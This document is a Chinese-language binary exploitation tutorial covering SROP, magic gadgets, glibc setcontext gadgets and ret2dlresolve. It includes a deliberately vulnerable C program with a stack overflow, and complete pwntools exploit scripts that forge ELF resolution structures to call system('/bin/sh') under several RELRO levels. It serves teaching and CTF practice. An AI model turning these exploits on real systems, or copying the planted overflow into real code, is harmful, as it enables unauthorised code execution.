栈溢出漏洞

SROP

利用pwntools自带的SigreturnFrame()函数,用法如下:

1
2
3
4
5
6
7
8
9
10
sigreturn = SigreturnFrame()
sigreturn.rax =
sigreturn.rdi =
sigreturn.rsi =
sigreturn.rdx =
...
sigreturn.rsp =
sigreturn.rip =

payload = padding + p64(syscall) + bytes(sigreturn)

控制好rsp,可以在rip处的代码执行结束ret的时候,再次进行sigreturn系统调用

Magic Gadget

Magic Gadget通常指利用一连串指令在特定条件下能控制寄存器的gadget。

Magic1

1
2
3
add dword ptr [rbp - 0x3d], ebx 
nop
ret

结合csu实现任意地址写,同时可以使得rbx可控,便可以在栈上任何含有libc地址的地方通过偏移,获取任何指令的地址。

1
2
3
4
5
6
7
pop     rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn

Magic2:[rax]→rdx

前提

rax + 0x38地址内的值是一个地址,且该地址内容可控。或者rax + 0x38 地址内的值可控。

1
2
3
mov rdx, qword ptr [rax + 0x38]
mov rdi, rax
call qword ptr [rdx + 0x20]

Magic3:[rdi]→rdx

前提

rdi + 8地址内的值是一个地址,且该地址内容可控。或者 rdi + 8 地址内的值可控。

1
2
3
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]

setcontext

glibc < 2.28 setcontext +53

以下示例来源于libc6_2.27-3ubuntu1_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; <setcontext@@GLIBC_2.2.5+0x35>

520a5: 48 8b a7 a0 00 00 00 mov rsp,QWORD PTR [rdi+0xa0]
520ac: 48 8b 9f 80 00 00 00 mov rbx,QWORD PTR [rdi+0x80]
520b3: 48 8b 6f 78 mov rbp,QWORD PTR [rdi+0x78]
520b7: 4c 8b 67 48 mov r12,QWORD PTR [rdi+0x48]
520bb: 4c 8b 6f 50 mov r13,QWORD PTR [rdi+0x50]
520bf: 4c 8b 77 58 mov r14,QWORD PTR [rdi+0x58]
520c3: 4c 8b 7f 60 mov r15,QWORD PTR [rdi+0x60]
520c7: 48 8b 8f a8 00 00 00 mov rcx,QWORD PTR [rdi+0xa8]
520ce: 51 push rcx
520cf: 48 8b 77 70 mov rsi,QWORD PTR [rdi+0x70]
520d3: 48 8b 97 88 00 00 00 mov rdx,QWORD PTR [rdi+0x88]
520da: 48 8b 8f 98 00 00 00 mov rcx,QWORD PTR [rdi+0x98]
520e1: 4c 8b 47 28 mov r8,QWORD PTR [rdi+0x28]
520e5: 4c 8b 4f 30 mov r9,QWORD PTR [rdi+0x30]
520e9: 48 8b 7f 68 mov rdi,QWORD PTR [rdi+0x68]
520ed: 31 c0 xor eax,eax
520ef: c3 ret

glibc ≥ 2.28 setcontext + 61

以下示例来源于libc6_2.39-0ubuntu8.6_amd64

1
2
3
4
5
6
7
8
9
10
11
12
; <setcontext@@GLIBC_2.2.5+0x3d>

4a99d: 48 8b a2 a0 00 00 00 mov rsp,QWORD PTR [rdx+0xa0]
4a9a4: 48 8b 9a 80 00 00 00 mov rbx,QWORD PTR [rdx+0x80]
4a9ab: 48 8b 6a 78 mov rbp,QWORD PTR [rdx+0x78]
4a9af: 4c 8b 62 48 mov r12,QWORD PTR [rdx+0x48]
4a9b3: 4c 8b 6a 50 mov r13,QWORD PTR [rdx+0x50]
4a9b7: 4c 8b 72 58 mov r14,QWORD PTR [rdx+0x58]
4a9bb: 4c 8b 7a 60 mov r15,QWORD PTR [rdx+0x60]
4a9bf: 64 f7 04 25 48 00 00 test DWORD PTR fs:0x48,0x2
4a9c6: 00 02 00 00 00
4a9cb: 0f 84 b5 00 00 00 je 4aa86 <setcontext@@GLIBC_2.2.5+0x126>
1
2
3
4
5
6
7
8
9
10
11
12
; <setcontext@@GLIBC_2.2.5+0x126>

4aa86: 48 8b 8a a8 00 00 00 mov rcx,QWORD PTR [rdx+0xa8]
4aa8d: 51 push rcx
4aa8e: 48 8b 72 70 mov rsi,QWORD PTR [rdx+0x70]
4aa92: 48 8b 7a 68 mov rdi,QWORD PTR [rdx+0x68]
4aa96: 48 8b 8a 98 00 00 00 mov rcx,QWORD PTR [rdx+0x98]
4aa9d: 4c 8b 42 28 mov r8,QWORD PTR [rdx+0x28]
4aaa1: 4c 8b 4a 30 mov r9,QWORD PTR [rdx+0x30]
4aaa5: 48 8b 92 88 00 00 00 mov rdx,QWORD PTR [rdx+0x88]
4aaac: 31 c0 xor eax,eax
4aaae: c3 ret

ret2dlresolve

适用ret2dlresolve的场景,以下条件应同时满足

  • 没有任何信息泄露(libc 基址未知)
  • 目标存在延迟绑定(No RELRO 或 Partial RELRO)
  • 有一块地址已知的可写内存(No PIE 时的 bss 即可)
  • i386 至少要能控制esp寄存器,amd64 至少要能控制rdirsp寄存器

延迟绑定原理

动态链接的函数第一次被调用时走的是延迟绑定流程:

1
2
3
4
5
6
func@plt  →  jmp *func@got
│ 首次调用时 got 里存的是 plt 中的下一条指令

push reloc_arg
jmp plt[0] → push link_map(GOT[1])
jmp *_dl_runtime_resolve(GOT[2])

_dl_runtime_resolve(link_map, reloc_arg)_dl_fixup 中完成解析:

  1. 由 reloc_arg 找到重定位项 Elf32_Rel / Elf64_Rela(位于 .rel.plt / .rela.plt)
  2. r_info 中的符号索引找到符号 Elf32_Sym / Elf64_Sym(位于 .dynsym)
  3. sym->st_name 在 .dynstr 中读出符号名字符串
  4. 在已加载的库中查找该名字,把函数地址写回 r_offset 指向的 got 项,并调用它

ret2dlresolve 的核心就是伪造这条解析链上的结构体,让符号名变成 "system",从而把任意一次 plt 调用变成 system("/bin/sh")

RELRO 等级决定了解析链上哪些环节可写,对应不同的打法:

级别 编译选项 .dynamic .got.plt 延迟绑定 打法
No RELRO -Wl,-z,norelro 可写 可写 改写 DT_STRTAB
Partial RELRO 默认 只读 可写 伪造 Rel/Sym 结构体
Full RELRO -Wl,-z,relro,-z,now 只读 并入 .got,只读 经典手法失效

演示用漏洞程序如下。注意新版 glibc(≥ 2.34)不再链接 __libc_csu_init,小程序里找不到 pop 系列 gadget——真实题目中这些 gadget 来自 csu 或程序自身代码,这里用内联汇编补齐;32 位下参数在栈上,不需要这些 gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <unistd.h>
#include <stdio.h>

#ifdef __x86_64__
__asm__(
".global pop_rdi\n"
"pop_rdi: pop %rdi; ret\n"
".global pop_rsi\n"
"pop_rsi: pop %rsi; ret\n"
".global pop_rdx\n"
"pop_rdx: pop %rdx; ret\n"
);
#endif

void vuln(void) {
char buf[0x60];
/* 让 puts 出现在 PLT 中但正常运行时不会被调用 */
if (read(0, buf, 0x200) == 0x1337) {
puts(buf);
}
}

int main(void) {
vuln();
return 0;
}

另外下面两处 st_name、strtab_ptr 的计算两个场景通用,先给出辅助代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def st_name_of(elf, name, bits):
"""符号 name 的 st_name(符号名字符串在 .dynstr 中的偏移)"""
syms = elf.get_section_by_name(".dynsym").data()
strs = elf.get_section_by_name(".dynstr").data()
size = 0x18 if bits == 64 else 0x10
for off in range(0, len(syms), size):
st_name = u32(syms[off:off+4])
if strs[st_name:strs.index(b"\x00", st_name)] == name.encode():
return st_name
raise ValueError("symbol not found")

def strtab_ptr_of(elf, bits):
""".dynamic 中 DT_STRTAB 条目的值字段地址"""
dyn = elf.get_section_by_name(".dynamic").header.sh_addr
ddata = elf.get_section_by_name(".dynamic").data()
if bits == 64: # Elf64_Dyn 16 字节,值在 +8
for i in range(0, len(ddata), 0x10):
if u64(ddata[i:i+8]) == 5:
return dyn + i + 8
else: # Elf32_Dyn 8 字节,值在 +4
for i in range(0, len(ddata), 0x8):
if u32(ddata[i:i+4]) == 5:
return dyn + i + 4
raise ValueError("DT_STRTAB not found")

32 位

No RELRO:改写 DT_STRTAB

No RELRO 时 .dynamic 可写,而 _dl_fixup 每次都通过 link_map->l_info[DT_STRTAB] 读取字符串表地址,因此:

  1. 把 .dynamic 中 DT_STRTAB 条目的值改写为伪造字符串表的地址
  2. 伪造字符串表中,在原符号 st_name 偏移处放上 "system"
  3. 正常调用一个还没被解析过的 plt 函数,解析出来的就是 system

注意触发函数必须尚未解析:read 已经被 vuln 调用过、got 已回填,不会再走解析流程,所以这里用从未执行的 puts@plt 做触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.binary = elf = ELF("./vuln32_norelro")
p = process("./vuln32_norelro")

PAD = 0x6c # buf[0x60] 到返回地址的距离,按实际调试为准
read_plt = elf.plt["read"]
puts_plt = elf.plt["puts"]
vuln = elf.symbols["vuln"]
strtab_ptr = strtab_ptr_of(elf, 32)
st_name = st_name_of(elf, "puts", 32)

fake_strtab = elf.bss() + 0x400
bin_sh = fake_strtab + st_name + len(b"system\x00")

# 1. 改写 DT_STRTAB 指向 fake_strtab
p.send(flat(b"A"*PAD, read_plt, vuln, 0, strtab_ptr, 4))
p.send(p32(fake_strtab))

# 2. 写伪造字符串表:st_name 偏移处放 "system",后面跟 "/bin/sh"
p.send(flat(b"A"*PAD, read_plt, vuln, 0, fake_strtab, 0x40))
p.send(b"A"*st_name + b"system\x00" + b"/bin/sh\x00")

# 3. 调用 puts@plt,_dl_fixup 按伪造字符串表解析出 system
p.send(flat(b"A"*PAD, puts_plt, 0xdeadbeef, bin_sh))
p.interactive()

Partial RELRO:伪造 Elf32_Rel / Elf32_Sym

Partial RELRO 下 .dynamic 只读,改为在可写内存中伪造整条解析链:

  • Elf32_Rel(8 字节):r_offset 指向任意可写 got 项,r_info = (sym_index << 8) | 7(R_386_JUMP_SLOT)
  • Elf32_Sym(16 字节):st_name 为 “system” 到 .dynstr 的偏移,st_info = 0x12
  • 触发时直接跳 plt[0],压入伪造重定位项到 .rel.plt 的字节偏移(32 位是偏移,不是索引)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.binary = elf = ELF("./vuln32_partial")
p = process("./vuln32_partial")

PAD = 0x6c
rel_plt = elf.get_section_by_name(".rel.plt").header.sh_addr
dynsym = elf.get_section_by_name(".dynsym").header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
plt0 = elf.get_section_by_name(".plt").header.sh_addr
read_plt = elf.plt["read"]
vuln = elf.symbols["vuln"]
got_read = elf.got["read"]

bss = elf.bss() + 0x400
# 对齐:fake_rel - rel_plt 是 8 的倍数,fake_sym - dynsym 是 16 的倍数
fake_rel = bss + (rel_plt - bss) % 0x8
gap = (dynsym - fake_rel) % 0x10
if gap < 0x8:
gap += 0x10
fake_sym = fake_rel + gap
str_addr = fake_sym + 0x10
bin_sh = str_addr + 0x8
sym_index = (fake_sym - dynsym) // 0x10

# 1. 把伪造的结构体读进 bss
p.send(flat(b"A"*PAD, read_plt, vuln, 0, fake_rel, 0x200))
st_name = str_addr - dynstr
payload2 = flat({
0x00: p32(got_read) + p32((sym_index << 8) | 7),
gap: p32(st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0),
gap + 0x10: b"system\x00\x00",
gap + 0x18: b"/bin/sh\x00",
})
p.send(payload2)

# 2. 跳 plt[0],压入 fake_rel 的字节偏移触发解析
# 解析完成后以 0xdeadbeef 为返回地址调用 system(bin_sh)
p.send(flat(b"A"*PAD, plt0, fake_rel - rel_plt, 0xdeadbeef, bin_sh))
p.interactive()

如果解析时崩溃,优先检查 .gnu.version 校验:glibc 会用 sym_index 索引 versym 数组,伪造的 sym_index 很大,需要让 versym + 2*sym_index 处恰好读到 0(微调 fake_rel/fake_sym 的位置,或直接交给后文的 pwntools 自动布局)。

Full RELRO:经典手法失效

Full RELRO(-z now)下所有符号在程序启动时就完成解析(BIND_NOW),got 全部只读,plt 中不再有压入 reloc_arg 的 resolver 桩,_dl_runtime_resolve 不会再经由 GOT[2] 调用,经典 ret2dlresolve 失效。

进阶手法(需要任意地址写 + ld.so 基址泄露):ld.so 内存中的 link_map 结构体始终可写,篡改其 l_info[DT_STRTAB] 指向伪造的 Elf32_Dyn(其 d_ptr 指向伪造字符串表),再直接调用 ld.so 内的 _dl_runtime_resolve(link_map, reloc_arg) 完成解析。有任意写和泄露之后通常已有更直接的利用方式,此手法了解原理即可。

64 位

No RELRO:改写 DT_STRTAB

思路与 32 位一致,差异:

  • Elf64_Dyn 为 16 字节,DT_STRTAB 的值字段在条目 +8 处
  • 参数走寄存器,需要 pop rdi/rsi/rdx 系列 gadget 调用 read 完成写入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.binary = elf = ELF("./vuln64_norelro")
p = process("./vuln64_norelro")

PAD = 0x68
pop_rdi = elf.symbols["pop_rdi"]
pop_rsi = elf.symbols["pop_rsi"]
pop_rdx = elf.symbols["pop_rdx"]
read_plt = elf.plt["read"]
puts_plt = elf.plt["puts"]
vuln = elf.symbols["vuln"]
strtab_ptr = strtab_ptr_of(elf, 64)
st_name = st_name_of(elf, "puts", 64)

fake_strtab = elf.bss() + 0x800
bin_sh = fake_strtab + st_name + len(b"system\x00")

# 1. 改写 DT_STRTAB
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, strtab_ptr, pop_rdx, 8, read_plt, vuln))
p.send(p64(fake_strtab))

# 2. 写伪造字符串表
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, fake_strtab, pop_rdx, 0x100, read_plt, vuln))
p.send(b"A"*st_name + b"system\x00" + b"/bin/sh\x00")

# 3. puts@plt -> system("/bin/sh")
p.send(flat(b"A"*PAD, pop_rdi, bin_sh, puts_plt))
p.interactive()

注意:不要指望 libc 调用返回后 rdx 仍保持原值。老 glibc 的 read 包装是裸 syscall,不碰 rdx,可以省略第三个参数的设置;新 glibc 的 read 包装带取消点逻辑,返回后 rdx 已被破坏,必须用 pop rdx 显式设置。

Partial RELRO:伪造 Elf64_Rela / Elf64_Sym

  • Elf64_Rela(24 字节):r_info = (sym_index << 32) | 7(R_X86_64_JUMP_SLOT),比 32 位多一个 r_addend 字段,填 0
  • Elf64_Sym(24 字节):字段含义同 32 位
  • 触发时压入的是伪造重定位项在 .rela.plt 中的索引(64 位是索引,不是字节偏移)
  • 参数通过 pop rdi 传入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.binary = elf = ELF("./vuln64_partial")
p = process("./vuln64_partial")

PAD = 0x68
rela_plt = elf.get_section_by_name(".rela.plt").header.sh_addr
dynsym = elf.get_section_by_name(".dynsym").header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
plt0 = elf.get_section_by_name(".plt").header.sh_addr
read_plt = elf.plt["read"]
vuln = elf.symbols["vuln"]
got_read = elf.got["read"]
pop_rdi = elf.symbols["pop_rdi"]
pop_rsi = elf.symbols["pop_rsi"]
pop_rdx = elf.symbols["pop_rdx"]

bss = elf.bss() + 0x800
# 对齐:fake_rel - rela_plt、fake_sym - dynsym 都是 0x18 的倍数
fake_rel = bss + (rela_plt - bss) % 0x18
gap = 0x18 + (dynsym - fake_rel - 0x18) % 0x18
fake_sym = fake_rel + gap
str_addr = fake_sym + 0x18
bin_sh = str_addr + 0x8
sym_index = (fake_sym - dynsym) // 0x18

# 1. 把伪造的结构体读进 bss
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, fake_rel, pop_rdx, 0x200, read_plt, vuln))
st_name = str_addr - dynstr
payload2 = flat({
0x00: p64(got_read) + p64((sym_index << 32) | 7) + p64(0),
gap: p32(st_name) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0),
gap + 0x18: b"system\x00\x00",
gap + 0x20: b"/bin/sh\x00",
})
p.send(payload2)

# 2. rdi = "/bin/sh",跳 plt[0] 压入 reloc 索引触发解析
p.send(flat(b"A"*PAD, pop_rdi, bin_sh, plt0, (fake_rel - rela_plt) // 0x18))
p.interactive()

.gnu.version 校验的处理同 32 位一节:解析失败时先调整对齐,使 versym + 2*sym_index 处读到 0。

Full RELRO:经典手法失效

与 32 位相同:BIND_NOW 消灭了延迟绑定,经典手法不可用。进阶思路同样是篡改 ld.so 中 link_map 的 l_info[DT_STRTAB] 并直接调用 _dl_runtime_resolve(64 位下其参数为 link_map 和 reloc 索引,且需先用 pop rdi 布置函数参数),前提是任意地址写与 ld.so 基址泄露。

pwntools 一键利用

pwntools 自带 Ret2dlresolvePayload,自动完成结构体布局与对齐(包括 .gnu.version 的处理),适用于 32/64 位的 No/Partial RELRO:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.binary = elf = ELF("./vuln")

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop = ROP(elf)
rop.read(0, dlresolve.data_addr) # 把自动生成的结构体读进内存
rop.ret2dlresolve(dlresolve) # 生成触发解析的 rop 链

p.send(b"A" * padding + rop.chain())
p.send(dlresolve.payload)
p.interactive()